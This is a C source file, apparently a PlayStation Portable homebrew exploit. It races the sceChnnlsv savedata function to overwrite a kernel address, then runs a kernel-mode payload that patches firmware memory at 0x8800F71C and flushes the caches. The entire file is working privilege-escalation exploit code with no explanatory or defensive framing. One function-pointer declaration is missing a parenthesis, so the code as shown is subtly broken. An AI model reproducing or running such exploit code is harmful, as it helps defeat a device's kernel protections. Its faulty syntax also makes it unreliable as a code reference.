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 chnnlsv

int is_exploited;
u32 address = 0x8800F71C;

int KernelFunction()
{
    is_exploited = 1;

    _sw(0x8C654384, address);

    void (* _sceKernelDcacheWritebackInvalidateAll)(void) = (void *)0x88000744;
    void (* _sceKernelIcacheInvalidateAll)(void) = (void *)0x88000E98;

    _sceKernelDcacheWritebackInvalidateAll();
    _sceKernelIcacheInvalidateAll();

    return 0;
}

void do_exploit()
{
    is_exploited = 0;
    u32 packet[256];

    //taken from HBL
    p5_open_savedata(PSP_UTILITY_SAVEDATA_AUTOLOAD);

    //search for this function in volatile ram
    int (* _sceSdGetLastIndex)(u32 a0, u32 a1, u32 a2) = (void *)FindImport("sceChnnlsv", 0xC4C494F8, 1);

    //search for this function in main ram
    int (* _sceKernelLibcTime(u32 a0, u32 a1) = (void *)FindImport("UtilsForUser", 0x27CC57F0, 0);

    int store_thread()
    {
        while (is_exploited != 1) {
            packet[9] = address - 18 - (u32)&packet;
            sceKernelDelayThread(0);
        }

        sceKernelExitThread(0);

        return 0;
    }

    SceUID storethread = sceKernelCreateThread("store thread", store_thread, 8, 512, THREAD_ATTR_USER, NULL);
    sceKernelStartThread(storethread, 0, NULL);

    while (is_exploited != 1) {
        packet[9] = 16;
        _sceSdGetLastIndex(packet, (u32)packet + 40, (u32)packet + 56);
        sceKernelDelayThread(0);
        _sceKernelLibcTime(0, (u32)&KernelFunction | (u32)0x80000000);
        sceKernelDcacheWritebackAll();
    }

    //taken from HBL
    p5_close_savedata();

    sceKernelDeleteThread(storethread);
}

void _start __attribute__ ((section(".text.start")));
void _start()
{
    do_exploit();
    sceKernelExitGame();
}